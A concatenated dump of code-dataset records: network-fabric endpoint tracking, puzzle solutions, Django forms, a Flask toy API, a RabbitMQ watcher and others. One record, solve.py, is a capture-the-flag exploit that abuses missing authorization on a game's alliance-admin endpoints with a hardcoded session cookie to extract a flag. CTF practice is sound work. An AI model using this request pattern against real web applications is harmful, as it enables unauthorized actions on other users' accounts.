skip_validation=False)\n return True\n\n def handle_fabric_prot_pol(self, classname, attr):\n \"\"\" if pairT changes in fabricProtPol then trigger hard restart \"\"\"\n logger.debug(\"handle fabricProtPol event: %s\", attr[\"pairT\"])\n if \"pairT\" in attr and attr[\"pairT\"] != self.settings.vpc_pair_type:\n msg=\"fabricProtPol changed from %s to %s\" % (self.settings.vpc_pair_type,attr[\"pairT\"])\n logger.warn(msg)\n self.hard_restart(msg)\n else:\n logger.debug(\"no change in fabricProtPol\")\n\n def handle_fabric_group_ep(self, classname, attr):\n \"\"\" fabricExplicitGEp or fabricAutoGEp update requires unconditional soft restart \"\"\"\n logger.debug(\"handle %s event\", classname)\n self.soft_restart(ts=attr[\"_ts\"], reason=\"(%s) vpc domain update\" % classname)\n\n def handle_fabric_node(self, classname, attr):\n \"\"\" handle events for fabricNode\n If a new leaf becomes active then trigger a hard restart to rebuild endpoint database\n as there's no way of knowing when endpoint events were missed on the new node (also,\n we need to restart both slow and epm subscriptions to get events from the new node).\n If an existing leaf becomes inactive, then create delete jobs for all endpoint learns \n for this leaf\n \"\"\"\n logger.debug(\"handle fabricNode event: %s\", attr[\"dn\"])\n if \"dn\" in attr and \"fabricSt\" in attr:\n r1 = re.search(\"topology/pod-(?P[0-9]+)/node-(?P[0-9]+)\", attr[\"dn\"])\n status = attr[\"fabricSt\"]\n if r1 is None:\n logger.warn(\"failed to extract node id from fabricNode dn: %s\", attr[\"dn\"])\n return\n # get db entry for this node\n node = eptNode.load(fabric=self.fabric.fabric, node=int(r1.group(\"node\")))\n if node.exists():\n if node.role != \"leaf\":\n logger.debug(\"ignoring fabricNode event for '%s'\", node.role)\n else:\n # if this is an active event, then trigger a hard restart else trigger pseudo\n # delete jobs for all previous entries on node. This includes XRs to account\n # for bounce along with generally cleanup of node state.\n if status == \"active\":\n # TODO - perform soft reset and per node epm query instead of full reset\n self.hard_restart(reason=\"leaf '%s' became active\" % node.node)\n else:\n logger.debug(\"node %s '%s', sending watch_node event\", node.node, status)\n msg = eptMsgWorkWatchNode(\"%s\"%node.node,\"watcher\",{},WORK_TYPE.WATCH_NODE)\n msg.node = node.node\n msg.ts = attr[\"_ts\"]\n msg.status = status\n self.send_msg(msg)\n else:\n if status != \"active\":\n logger.debug(\"ignorning '%s' event for unknown node: %s\",status,r1.group(\"node\"))\n else:\n # a new node became active, double check that is a leaf and if so trigger a \n # hard restart\n new_node_dn = \"topology/pod-%s/node-%s\" % (r1.group(\"pod\"), r1.group(\"node\"))\n new_attr = get_attributes(session=self.session, dn=new_node_dn)\n if new_attr is not None and \"role\" in new_attr and new_attr[\"role\"] == \"leaf\":\n self.hard_restart(reason=\"new leaf '%s' became active\" % r1.group(\"node\"))\n else:\n logger.debug(\"ignorning active event for non-leaf\")\n else:\n logger.debug(\"ignoring fabricNode event (fabricSt or dn not present in attributes)\")\n\n def build_endpoint_db(self):\n \"\"\" all endpoint events (eptHistory and eptEndpoint) are handled by app workers. To build\n the initial database we need to simulate create or delete events for each endpoint \n returned from the APIC and send through worker process. Delete jobs are created for\n endpoints previously within the database but not returned on query, all other objects \n will result in a create job.\n\n Return boolean success\n \"\"\"\n logger.debug(\"initialize endpoint db\")\n start_time = time.time()\n\n # 3-level dict to track endpoints returned from class query endpoints[node][vnid][addr] = 1\n endpoints = {}\n # we will start epm subscription AFTER get_class (which can take a long time) but before \n # processing endpoints. This minimizes amount of time we lose data without having to buffer\n # all events that are recieved during get requests.\n paused = self.settings.queue_init_epm_events\n data = []\n for c in self.epm_subscription_classes:\n if c == \"epmRsMacEpToIpEpAtt\":\n gen = get_class(self.session, c, stream=True, orderBy=\"%s.dn\" % c)\n else:\n gen = get_class(self.session, c, stream=True, orderBy=\"%s.addr\" % c)\n ts = time.time()\n create_msgs = []\n if not self.subscriber.add_interest(c, self.handle_epm_event, paused=paused):\n logger.warn(\"failed to add interest %s to subscriber\", c)\n return False\n for obj in gen:\n if obj is None:\n logger.error(\"failed to get epm data for class %s\", c)\n return False\n # process the data now as we can't afford buffer all msgs in memory on scale setups\n if c in obj and \"attributes\" in obj[c]:\n msg = self.ept_epm_parser.parse(c, obj[c][\"attributes\"], ts)\n if msg is not None:\n create_msgs.append(msg)\n if msg.node not in endpoints: endpoints[msg.node] = {}\n if msg.vnid not in endpoints[msg.node]: endpoints[msg.node][msg.vnid] = {}\n endpoints[msg.node][msg.vnid][msg.addr] = 1\n else:\n logger.warn(\"invalid %s object: %s\", c, obj)\n # send all create and delete messages to workers (delete first just because...)\n logger.debug(\"build_endpoint_db sending %s create for %s\", len(create_msgs),c)\n self.send_msg(create_msgs)\n create_msgs = []\n\n # get delete jobs\n delete_msgs = self.get_epm_delete_msgs(endpoints)\n logger.debug(\"build_endpoint_db sending %s delete jobs\", len(delete_msgs))\n self.send_msg(delete_msgs)\n logger.debug(\"build_endpoint_db total time: %.3f\", time.time()-start_time)\n return True\n\n def refresh_endpoint(self, vnid, addr, addr_type, qnum=1):\n \"\"\" perform endpoint refresh. This triggers an API query for epmDb filtering on provided\n addr and vnid. The results are fed through handle_epm_event which is enqueued onto \n a worker. API can set qnum=0 to get 'strict priority' for refresh on worker. This allows\n user to get immediate refresh even if high number of events are queued.\n \"\"\"\n logger.debug(\"refreshing [0x%06x %s]\", vnid, addr)\n if addr_type == \"mac\":\n classname = \"epmMacEp\"\n kwargs = {\n \"queryTargetFilter\": \"eq(epmMacEp.addr,\\\"%s\\\")\" % addr \n }\n else:\n # need epmIpEp and epmRsMacEpToIpEpAtt objects for this addr\n classname = \"epmDb\"\n f=\"or(eq(epmIpEp.addr,\\\"%s\\\"),wcard(epmRsMacEpToIpEpAtt.dn,\\\"ip-\\[%s\\]\\\"))\"%(addr,addr)\n kwargs = {\n \"queryTarget\": \"subtree\",\n \"targetSubtreeClass\": \"epmIpEp,epmRsMacEpToIpEpAtt\",\n \"queryTargetFilter\": f\n }\n objects = get_class(self.session, classname, **kwargs)\n ts = time.time()\n # 3-level dict to track endpoints returned from class query endpoints[node][vnid][addr] = 1\n endpoints = {}\n # queue all the events to send at one time...\n create_msgs = []\n # queue all the events to send at one time...\n if objects is not None:\n for obj in objects:\n classname = obj.keys()[0]\n if \"attributes\" in obj[classname]:\n attr = obj[classname][\"attributes\"]\n attr[\"_ts\"] = ts\n msg = self.ept_epm_parser.parse(classname, attr, attr[\"_ts\"])\n if msg is not None:\n create_msgs.append(msg)\n if msg.node not in endpoints: endpoints[msg.node] = {}\n if msg.vnid not in endpoints[msg.node]: endpoints[msg.node][msg.vnid] = {}\n endpoints[msg.node][msg.vnid][msg.addr] = 1\n else:\n logger.debug(\"ignoring invalid epm object %s\", obj)\n # get delete jobs\n delete_msgs = self.get_epm_delete_msgs(endpoints, addr=addr, vnid=vnid)\n logger.debug(\"sending %s create and %s delete msgs from refresh\", len(create_msgs),\n len(delete_msgs))\n # set force flag and qnum on each msg to trigger analysis update\n for msg in create_msgs+delete_msgs:\n msg.qnum = qnum\n msg.force = True\n\n self.send_msg(create_msgs)\n self.send_msg(delete_msgs)\n else:\n logger.debug(\"failed to get epm objects\")\n\n def get_epm_delete_msgs(self, endpoints, addr=None, vnid=None):\n \"\"\" from provided create endpoint dict and flt, return list of delete msgs \n endpoints must be 3-level dict in the form endpoints[node][vnid][addr]\n \"\"\"\n\n # get entries in db and create delete events for those not deleted and not in class query.\n # we need to iterate through the results and do so as fast as possible and current rest\n # class does not support an iterator. Therefore, using direct db call...\n projection = {\n \"node\": 1,\n \"vnid\": 1,\n \"addr\": 1,\n \"type\": 1,\n }\n flt = {\n \"fabric\": self.fabric.fabric,\n \"events.0.status\": {\"$ne\": \"deleted\"},\n }\n if addr is not None and vnid is not None:\n flt[\"addr\"] = addr\n flt[\"vnid\"] = vnid\n\n ts = time.time()\n delete_msgs = []\n for obj in self.db[eptHistory._classname].find(flt, projection):\n # if in endpoints dict, then stil exists in the fabric so do not create a delete event\n if obj[\"node\"] in endpoints and obj[\"vnid\"] in endpoints[obj[\"node\"]] and \\\n obj[\"addr\"] in endpoints[obj[\"node\"]][obj[\"vnid\"]]:\n continue\n if obj[\"type\"] == \"mac\":\n msg = self.ept_epm_parser.get_delete_event(\"epmMacEp\", obj[\"node\"], \n obj[\"vnid\"], obj[\"addr\"], ts)\n if msg is not None:\n delete_msgs.append(msg)\n else:\n # create an epmRsMacEpToIpEpAtt and epmIpEp delete event\n msg = self.ept_epm_parser.get_delete_event(\"epmRsMacEpToIpEpAtt\", obj[\"node\"], \n obj[\"vnid\"], obj[\"addr\"], ts)\n if msg is not None:\n delete_msgs.append(msg)\n msg = self.ept_epm_parser.get_delete_event(\"epmIpEp\", obj[\"node\"], \n obj[\"vnid\"], obj[\"addr\"], ts)\n if msg is not None:\n delete_msgs.append(msg)\n return delete_msgs\n\n","sub_path":"Service/app/models/aci/ept/ept_subscriber.py","file_name":"ept_subscriber.py","file_ext":"py","file_size_in_byte":58966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"85384739","text":"import requests\nimport re\n\nCOOKIE = '8f74a59ee21abf9cbe7e2f38214fdb66'\n\ndef main():\n for i in range(0, 50):\n resp = requests.get(f'https://uni1.cursednova.securing.pl/game.php?page=alliance&mode=admin&action=diplomacyCreateProcessor&ajax=1&ally_id={i}&level=5&text=asd', cookies={'2Moons': COOKIE})\n print(i, resp.text)\n\n all = requests.get(f'https://uni1.cursednova.securing.pl/game.php?page=alliance&mode=admin&action=diplomacy', cookies={'2Moons': COOKIE}).text\n from bs4 import BeautifulSoup\n bs = BeautifulSoup(all, 'html.parser')\n links = []\n for link in bs.find_all('a'):\n links.append(link.get('href'))\n\n links = list(filter(lambda l: 'diplomacyDelete' in l, links))\n links = list(map(lambda l: int(l.split('diplomacyDelete&id=')[-1]), links))\n print(links)\n\n for i in links:\n resp = requests.get(f'https://uni1.cursednova.securing.pl/game.php?page=alliance&mode=admin&action=diplomacyAccept&id={i}', cookies={'2Moons': COOKIE})\n print(i)\n\n\n resp= requests.get('https://uni1.cursednova.securing.pl/game.php?page=alliance&mode=admin&action=diplomacy', cookies={'2Moons': COOKIE})\n match = re.search(r'CURSEDNOVA\\{.*}', resp.text)\n print(match.group(0))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"securingCTF/cursednova_2022/diplomacy/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"481148949","text":"import sys\n\nwith open(\"20209.txt\") as f:\n nums = [int(n) for n in f.read().split('\\n')]\n\ndef isValid(num, pre):\n for i in pre:\n for j in pre:\n if i != j and i + j == num:\n return True\n return False\n\npreamble = 5\nbadI = 0\nfor i in range(preamble, len(nums)):\n if not isValid(nums[i], nums[i-preamble:i]):\n badI = i\n break\n\nsums = [0]*badI\nsums[0] = nums[0]\nfor i in range(1, badI):\n sums[i] += sums[i-1] + nums[i]\n\ndef solve():\n for i in range(badI-1):\n for j in range(i+1, badI):\n if sums[j] - (sums[i-1] if i else 0) == nums[badI]:\n return i, j\np = 0\nl = 0\np, l = solve()\nprint(max(nums[p:l+1]) + min(nums[p:l+1]))\n","sub_path":"yes2.py","file_name":"yes2.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"441161166","text":"# -------------------------------------------------------\n# 3sum - https://leetcode.com/problems/3sum/\n# -------------------------------------------------------\n# Author: Arshad Mehmood\n# Github: https://github.com/arshad115\n# Blog: https://arshadmehmood.com\n# LinkedIn: https://www.linkedin.com/in/arshadmehmood115\n# Date : 2020-07-29\n# Project: 100-days-of-leetcode\n# -------------------------------------------------------\nfrom typing import List\n\n# A solution set is:\n# [\n# [-1, 0, 1],\n# [-1, -1, 2]\n# ]\n\nclass Solution:\n def threeSum(self, nums: List[int]) -> List[List[int]]:\n if len(nums) < 3:\n return []\n resultslist = []\n nums.sort()\n for i in range(len(nums) - 2):\n if i > 0 and nums[i] == nums[i - 1]:\n continue\n twosumlist = self.twoSum(nums[i + 1:], -nums[i])\n if not twosumlist:\n continue\n else:\n for x in twosumlist:\n x.insert(0, nums[i])\n resultslist.append(x)\n\n unique_data = [list(x) for x in set(tuple(x) for x in resultslist)]\n return unique_data\n\n def twoSum(self, nums: List[int], target: int) -> List[int]:\n dict = {}\n results = []\n for i, num in enumerate(nums):\n if num in dict:\n results.append([nums[dict[num]], num]) #can have multiple two sums for the three sum\n else:\n # storing index of the target - num in the dict\n dict[target - num] = i\n return results\n\nnums = [-1,0,1,2,-1,-4]\n\nsolution = Solution()\nnum = solution.threeSum(nums)\nprint(num)","sub_path":"codes/2020-07-29-3sum.py","file_name":"2020-07-29-3sum.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"613275907","text":"from django import forms\nfrom django.forms import ModelForm\n\nfrom .models import Post, Comment\n\n\nclass PostForm(ModelForm):\n class Meta:\n model = Post\n fields = ('group', 'text', 'image')\n labels = {\n 'group': 'Группа',\n 'text': 'Ваш текст',\n 'image': 'Ваше изображение'\n }\n help_texts = {\n 'group': 'Можно не выбирать группу',\n 'text': 'Минимум 10 символов',\n 'image': 'Загружать изображение необзательно'\n }\n\n def clean_text(self):\n data = self.cleaned_data['text']\n\n if len(data) < 10:\n raise forms.ValidationError('Слишком короткий текст, мы любим графоманов!')\n\n return data\n\n\nclass CommentForm(ModelForm):\n class Meta:\n model = Comment\n fields = ('text',)\n help_texts = {\n 'text': 'Минимум 10 символов',\n }\n\n def clean_text(self):\n data = self.cleaned_data['text']\n\n if len(data) < 10:\n raise forms.ValidationError('Слишком короткий комментарий, мы любим графоманов!')\n\n return data\n","sub_path":"posts/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"604308491","text":"data=[7,8,9,2,10,9,9,9,9,4,5,6,1,5,6,7,8,6,1,10]\ndef Mean_fun(number):\n n=len(number)\n s=sum(number)\n return s/n\ndef Variance_fun(number):\n m=Mean_fun(number)\n daff=[]\n for i in number:\n daff.append((i - m) ** 2)\n\n return Mean_fun(daff)\nprint(Mean_fun(data))\n","sub_path":"week1-2/Variance.py","file_name":"Variance.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"390822653","text":"\n\nfrom definitions import *\n\npygame.init()\n\nBACKGROUND_COLOR = WHITE\nSTANDARD_OBJECT_HEIGHT = 30\n\n# Set the width and height of the screen [width, height]\nsize = (width, height)\nscreen = pygame.display.set_mode(size)\n\npygame.display.set_caption(\"Menu\")\n\n# Loop until the user clicks the close button.\ndone = False\n\n# Used to manage how fast the screen updates\nclock = pygame.time.Clock()\n\ntitle = font.render(\"Welcome to the T35l4 Game!\",True,DART_GREEN)\nstart = font.render(\"ST4RT\",True,DART_GREEN)\nquit = font.render(\"QU1T\",True,DART_GREEN)\n\n\n\n","sub_path":"Project/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"238122084","text":"#!/usr/bin/python3\n__author__ = 'Josinfo'\n\n\nimport requests\nfrom requests.auth import HTTPBasicAuth\n\nAUTH=HTTPBasicAuth('ccie','ccie')\nMEDIA_TYPE='application/yang-data+json'\nHEADERS={'Accept':MEDIA_TYPE,'Content-Type':MEDIA_TYPE}\n\ndef get_request(url):\n response = requests.get(url, auth=AUTH, headers=HEADERS, verify=False)\n print(\"API: \", url)\n print(response.status_code)\n if response.status_code in [200,202,204]:\n print(\"Successful\")\n else:\n print(\"Error in API Request\")\n print(response.text)\n print(\"=\" * 40)\n print(\"=\" * 40)\n\n#url=\"https://192.168.15.172/restconf/data/Cisco-IOS-XE-native:native\"\n#url=\"https://192.168.15.172/restconf/data/Cisco-IOS-XE-native:native/interface\"\n#url=\"https://192.168.15.172/restconf/data/Cisco-IOS-XE-native:native/interface/GigabitEthernet=2\"\nurl=\"https://192.168.15.172/restconf/data/Cisco-IOS-XE-native:native/interface/GigabitEthernet=2/ip/\"\n#url=\"https://192.168.15.157/restconf/data/Cisco-IOS-XE-native:native/interface/GigabitEthernet=2/ip/address/\"\n#url=\"https://192.168.15.172/restconf/data/Cisco-IOS-XE-native:native/interface/GigabitEthernet=2/ip/address/primary\"\n#url=\"https://192.168.15.172/restconf/data/Cisco-IOS-XE-native:native/interface/GigabitEthernet=2/ip/address/primary/address\"\n\nget_request(url)\n\n\n\n","sub_path":"devnet/09-RESTCONF-API.py","file_name":"09-RESTCONF-API.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"67568201","text":"\nimport os\nimport time\n\nfrom flask import Blueprint, request, jsonify\nfrom Config import RET, MongoDB\nfrom bson import ObjectId\n\n\nsbe = Blueprint('sb', __name__)\n\n\n@sbe.route('/scan_qr', methods=['post'])\ndef scan_qr():\n res_dic = request.form.to_dict()\n device = MongoDB.devices.find_one(res_dic) #查找二维码是否在数据库里\n toys = MongoDB.Toys.find_one(res_dic)\n if device:\n #授权成功\n RET['CODE'] = 0\n RET['MSG'] = '二维码扫描成功'\n RET['DATA'] = res_dic\n elif toys:\n #二维码已经进行绑定\n RET['CODE'] = 2\n RET['MSG'] = '设备已经进行绑定'\n RET['DATA'] = {'toy_id': str(toys.get('_id'))}\n else:\n #扫描二维码错误\n RET['CODE'] = 1\n RET['MSG'] = '请扫描玩具二维码'\n RET['DATA'] = {}\n\n return jsonify(RET)\n\n\n@sbe.route('/bind_toy', methods=['post'])\ndef bind_toy():\n '''\n 创建玩具 并和app进行绑定\n :return:\n '''\n toy_info = request.form.to_dict()\n toy_info[\"avatar\"] = \"toy.jpg\"\n toy_info[\"bind_user\"] = toy_info.get(\"user_id\")\n toy_info[\"friend_list\"] = []\n\n user_id = toy_info.pop('user_id')\n user_info = MongoDB.user.find_one({'_id': ObjectId(user_id)})\n\n chat_window = MongoDB.Chats.insert_one({'user_list': [], 'chat_list': []})\n chat_id = str(chat_window.inserted_id)\n\n #创建toy在 friendlist的名片\n toy_add_user = {\n \"friend_id\": user_id,\n \"friend_nick\": user_info.get('username'),\n \"friend_remark\": toy_info.get('remark'),\n \"friend_avatar\": user_info.get('avatar'),\n \"friend_chat\": chat_id,\n \"friend_type\": \"app\"\n }\n\n toy_info['friend_list'].append(toy_add_user)\n\n\n #创建玩具\n toy = MongoDB.Toys.insert_one(toy_info)\n toy_id = str(toy.inserted_id)\n\n user_info['bind_toys'].append(toy_id)\n #创建user在 friendlist的名片\n user_add_toy = {\n \"friend_id\": toy_id,\n \"friend_nick\": toy_info.get('toy_name'),\n \"friend_remark\": toy_info.get('baby_name'),\n \"friend_avatar\": toy_info.get('avatar'),\n \"friend_chat\": chat_id,\n \"friend_type\": \"toy\"\n }\n user_info['friend_list'].append(user_add_toy)\n\n #更新user\n MongoDB.user.update_one({'_id': ObjectId(user_id)}, {'$set': user_info})\n\n #聊天窗口\n MongoDB.Chats.update_one({'_id': ObjectId(chat_id)}, {'$set': {'user_list': [toy_id, user_id]}})\n\n RET['CODE'] = 0\n RET['MSG'] = '绑定完成'\n RET['DATA'] = {}\n\n return jsonify(RET)\n\n # # 进行绑定?\n # # 1.玩具不存在 创建玩具\n # # 在数据库中创建一条数据 Toys 数据存储结构\n # toy_info[\"avatar\"] = \"toy.jpg\"\n # toy_info[\"bind_user\"] = toy_info.pop(\"user_id\")\n # toy_info[\"friend_list\"] = []\n # toy_id = MongoDB.Toys.insert_one(toy_info).inserted_id\n #\n # #已经确定了 user_id和 toy_id 创建聊天表加入\n # chat_dic = {\n # 'user_list': [toy_info.get('user_id'), ],\n # 'chat_list': [user_id, toy_id],\n # 'createTime': time.time()\n # }\n # chat_id = MongoDB.Chats.insert_one(chat_dic).inserted_id\n # toy_dic = MongoDB.Toys.find_one({'_id': ObjectId(toy_id)})\n # t_friend_dict = {\n # \"friend_id\": toy_id,\n # \"friend_nick\": toy_dic.get('toy_name'),\n # \"friend_remark\": toy_dic.get('baby_name'),\n # \"friend_avatar\": toy_dic.get('avatar'),\n # \"friend_chat\": chat_id,\n # \"friend_type\": \"toy\"\n # }\n # MongoDB.users.update_one({'_id': ObjectId(user_id)}, {'$set': {'friend_list': [t_friend_dict]}}) #更新用户\n # user_dic = MongoDB.users.find_one({'_id': ObjectId(user_id)})\n # u_friend_dict = {\n # \"friend_id\": user_id,\n # \"friend_nick\": user_dic.get('username'),\n # \"friend_remark\": user_dic.get('nickname'),\n # \"friend_avatar\": user_dic.get('avatar'),\n # \"friend_chat\": chat_id,\n # \"friend_type\": \"app\"\n # }\n # MongoDB.Toys.update_one({'_id': ObjectId(toy_id)}, {'$set': {'friend_list': [u_friend_dict]}}) #用户更新玩具\n\n\n # 如果 friend_list 空的 要不要创建 Toy\n\n # 创建聊天窗口\n # \"friend_chat\" : \"5ca17c7aea512d26281bcb8c\",私聊窗口ID\n # chat_window = MongoDB.Chats.insert_one({user_list:[appid toy_id],chat_list:[]})\n # chat_window.inserted_id ObjectId\n # 如果没有toy_id 能不能创建一个空的 user_list:[]\n\n # 写入数据库 toy = MongoDB.Toys.insert_one(toy_info) .inserted_id\n\n # 2.建立和 app的绑定关系 user[\"bind_toy\"]append(toy_id)\n # 1.方式一 查询 用户信息 , 更改用户信息user[\"bind_toy\"]append(toy_id) 更新用户信息update_one\n # 2.方式二 直接更新 用户信息表中的 bind_toy\n\n # 3.双方的关系 好友通讯录 添加名片 成为好友关系?\n # app 可以与 toy 沟通\n # user[friend_list] toy_info[\"friend_list\"] 互相交换名片?\n # 名片 = ? user 添加 toy 的名片到 firend_lsit\n\n\n@sbe.route('/toy_list', methods=['post'])\ndef toy_list():\n user_id = request.form.get('_id')\n user_bind_toy_list = list(MongoDB.Toys.find({'bind_user': user_id}))\n\n for index, item in enumerate(user_bind_toy_list):\n user_bind_toy_list[index]['_id'] = str(item.get('_id'))\n\n RET['CODE'] = 0\n RET['MSG'] = '获取Tony列表'\n RET['DATA'] = user_bind_toy_list\n\n return jsonify(RET)\n\n\n@sbe.route('/open_toy', methods=['post'])\ndef open_toy():\n device_key = request.form.to_dict('device_key')\n exist_status = MongoDB.devices.find_one(device_key) #判断二维码是否存在\n binding_status = MongoDB.Toys.find_one(device_key) # 判断二维码是否已经绑定\n print(exist_status, binding_status)\n if binding_status:\n #授权成功\n res = {\n \"code\": 0,\n \"music\": \"Success.mp3\",\n \"toy_id\": str(binding_status.get('_id')),\n \"name\": binding_status.get('toy_name')\n }\n elif not binding_status and exist_status:\n #二维码未绑定\n res = {\n \"code\": 2,\n \"music\": \"Nolic.mp3\",\n }\n else:\n #不存在的二维码\n res = {\n \"code\": 1,\n \"music\": \"Nobind.mp3\",\n }\n\n return jsonify(res)\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"玩具项目/人工智能03/Bronya/serv/star_bear.py","file_name":"star_bear.py","file_ext":"py","file_size_in_byte":6372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"392242406","text":"#!/usr/bin/python\r\n#-*- coding: utf-8 -*-\r\nimport logging\r\nimport operator\r\nimport time\r\nfrom threading import Thread\r\n\r\nfrom pika.exceptions import ConnectionClosed\r\n\r\nfrom itsbox.operator import Config\r\nfrom itsbox.operator.Message import MgmtData\r\nfrom itsbox.util.MessageQueue import Rabbitmq as MessageQueueImpl\r\n\r\nlogger = logging.getLogger('engine')\r\nlogger.setLevel(Config.LOG_LEVEL)\r\nerror_logger = logging.getLogger('error')\r\n\r\n\r\nclass WatcherThread(Thread):\r\n exitFlag = False\r\n waitFlag = False\r\n workers = {}\r\n workerListLock = None\r\n interval = 0\r\n queue = None\r\n\r\n def __init__(self, workers, lock=None, interval=5):\r\n Thread.__init__(self, target=self.start_thread)\r\n self.workers = workers\r\n self.workerListLock = lock\r\n self.interval = interval\r\n self.name = 'WorkerWatcher'\r\n self.daemon = True\r\n logger.debug('Watcher instance has been created : CheckIntervalSec=%d' % interval)\r\n\r\n def create_mq_connection_and_channel(self):\r\n self.queue = MessageQueueImpl(Config.RABBITMQ_USER, Config.RABBITMQ_PASS, Config.RABBITMQ_IP, Config.RABBITMQ_PORT, Config.RABBITMQ_VHOST, heartbeat_interval=0)\r\n self.queue.create_send_channel(Config.RABBITMQ_QNAME_MGMT_IN, durable=True)\r\n\r\n def start_thread(self):\r\n logger.debug('WorkerWatcher is starting...')\r\n self.create_mq_connection_and_channel()\r\n logger.debug('WorkerWatcher is monitoring the dead workers...')\r\n while self.exitFlag is False:\r\n time.sleep(self.interval)\r\n try:\r\n self.watcher_run()\r\n except BaseException as e:\r\n error_logger.exception('Exception occurred during watching running workers.')\r\n logger.error('Exception occurred during watching running workers : Exception=\\'%s\\'' % e)\r\n logger.debug('WorkerWatcher has been stopped.')\r\n\r\n def stop_thread(self):\r\n logger.debug('Watcher has been requested to stop.')\r\n self.exitFlag = True\r\n\r\n def watcher_run(self):\r\n enter_flag = True\r\n while self.waitFlag:\r\n if enter_flag:\r\n enter_flag = False\r\n logger.info('Watcher is pausing for a while.')\r\n time.sleep(1)\r\n if enter_flag is False:\r\n logger.info('Watcher resumes task.')\r\n self.check_workers()\r\n\r\n def check_workers(self):\r\n logger.debug('Watcher is checking dead workers.')\r\n if len(self.workers) == 0:\r\n logger.warn('No worker is alive.')\r\n return\r\n good_status = True\r\n sorted_workers = sorted(self.workers.items(), key=operator.itemgetter(0))\r\n for pid, worker in sorted_workers:\r\n try:\r\n worker_downed = False\r\n if worker.is_alive() is False:\r\n logger.warn('Worker down has been detected : PID=%d, Worker=%s' % (pid, worker))\r\n try:\r\n if self.workerListLock:\r\n self.workerListLock.acquire()\r\n if self.workers.get(pid):\r\n del self.workers[pid]\r\n finally:\r\n if self.workerListLock:\r\n self.workerListLock.release()\r\n worker_downed = True\r\n good_status = False\r\n except BaseException as e:\r\n error_logger.exception('Exception occurred during checking a worker.')\r\n logger.error('Exception occurred during checking a worker : PID=%d, Exception=\\'%s\\'' % (pid, e))\r\n finally:\r\n if worker_downed:\r\n send_msg = MgmtData()\r\n send_msg.set_op_action('start')\r\n send_msg.set_op_target('worker')\r\n send_msg.set_op_detail('1')\r\n send_msg.set_reply(False)\r\n while self.queue and self.queue.connection.is_open:\r\n try:\r\n self.queue.send(send_msg.get_json_data())\r\n logger.info('A worker has been requested to start.')\r\n break\r\n except ConnectionClosed:\r\n logger.warn('Queue send channel for management is closed. reconnecting... : Queue=%s' % Config.RABBITMQ_QNAME_MGMT_IN)\r\n self.create_mq_connection_and_channel()\r\n time.sleep(1)\r\n if good_status:\r\n logger.debug('All workers is alive : Workers=%s' % sorted_workers)\r\n","sub_path":"itsbox/operator/Watcher.py","file_name":"Watcher.py","file_ext":"py","file_size_in_byte":4656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"486623936","text":"####################################################################################################\n# QTCreator Debug Helper python scripts for classes of ALib and ALox\n#\n# (c) 2015-2016 A-Worx GmbH, Germany\n# Published under MIT License (Open Source License, see LICENSE.txt)\n#\n# For further information, see http://doc.qt.io/qtcreator/creator-debugging-helpers.html\n####################################################################################################\n\n############################ imports #############################\nimport string\n\n############################ general helpers #############################\ndef dbgOut( msg ):\n fh = open(\"~/output.txt\", 'a')\n fh.write(msg)\n fh.write(\"\\n\")\n fh.close()\n return\n\ndef removeNamespaceHelper(s, startIdx, namespace):\n namespace+= \"::\"\n if s.startswith( namespace, startIdx ):\n startIdx+= len(namespace)\n\n return startIdx\n\ndef removeNamespace(identifier):\n identifier= str(identifier)\n actIdx= 7\n actIdx= removeNamespaceHelper( identifier, actIdx, \"aworx\" )\n actIdx= removeNamespaceHelper( identifier, actIdx, \"lib\" )\n actIdx= removeNamespaceHelper( identifier, actIdx, \"strings\" )\n actIdx= removeNamespaceHelper( identifier, actIdx, \"system\" )\n actIdx= removeNamespaceHelper( identifier, actIdx, \"threads\" )\n actIdx= removeNamespaceHelper( identifier, actIdx, \"time\" )\n actIdx= removeNamespaceHelper( identifier, actIdx, \"config\" )\n actIdx= removeNamespaceHelper( identifier, actIdx, \"lox\" )\n actIdx= removeNamespaceHelper( identifier, actIdx, \"core\" )\n actIdx= removeNamespaceHelper( identifier, actIdx, \"loggers\" )\n actIdx= removeNamespaceHelper( identifier, actIdx, \"Log\" ) #For Enums in class Log\n\n return identifier[actIdx:]\n\n############################ ALIB Strings #############################\n\n#----- Compare two ALib strings ------\ndef areEqualStrings(d1, strObject1, d2, strObject2):\n\n # compare length\n length1= strObject1[\"length\"]\n length2= strObject2[\"length\"]\n\n if length1 != length2:\n return 0\n length= int(length1)\n\n # compare addresses\n straddress1= strObject1[\"buffer\"]\n straddress2= strObject2[\"buffer\"]\n\n if straddress1 == straddress2:\n return 1\n if straddress1 == 0 or straddress2 == 0:\n return 0\n\n # compare contents\n blob1 = d1.extractBlob(straddress1, length)\n blob2 = d2.extractBlob(straddress2, length)\n for i in range(0, length ):\n b1= blob1.extractByte(i)\n b2= blob2.extractByte(i)\n if b1 != b2:\n return 0\n\n # equal\n return 1\n\n#----- Get the string value of an ALib string ------\ndef getASString(d, strObject):\n straddress= strObject[\"buffer\"]\n length= strObject[\"length\"]\n\n if length < 0:\n return \"\"\n\n if straddress == 0:\n return \"\"\n\n if length == 0:\n return \"\"\n\n if length > 200:\n length= 200\n\n blob = d.extractBlob(straddress, length)\n asBuffer= 